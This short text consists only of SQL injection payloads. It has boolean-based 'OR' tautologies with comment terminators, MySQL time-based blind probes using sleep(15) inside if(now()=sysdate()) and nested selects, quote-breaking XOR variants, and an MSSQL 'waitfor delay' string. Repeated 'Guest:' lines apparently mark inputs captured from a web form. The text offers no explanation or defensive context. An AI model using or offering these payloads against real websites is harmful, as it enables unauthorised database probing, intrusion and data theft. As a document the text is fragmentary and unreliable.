-1 OR 2+330-330-1=0+0+0+1

-1' OR 2+557-557-1=0+0+0+1 --

-1' OR 2+653-653-1=0+0+0+1 or '8gFwZskH'='

-1" OR 2+726-726-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1*if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1*if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1*if(now()=sysdate(),sleep(15),0)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1*if(now()=sysdate(),sleep(15),0)
-1; waitfor delay '0:0:15' --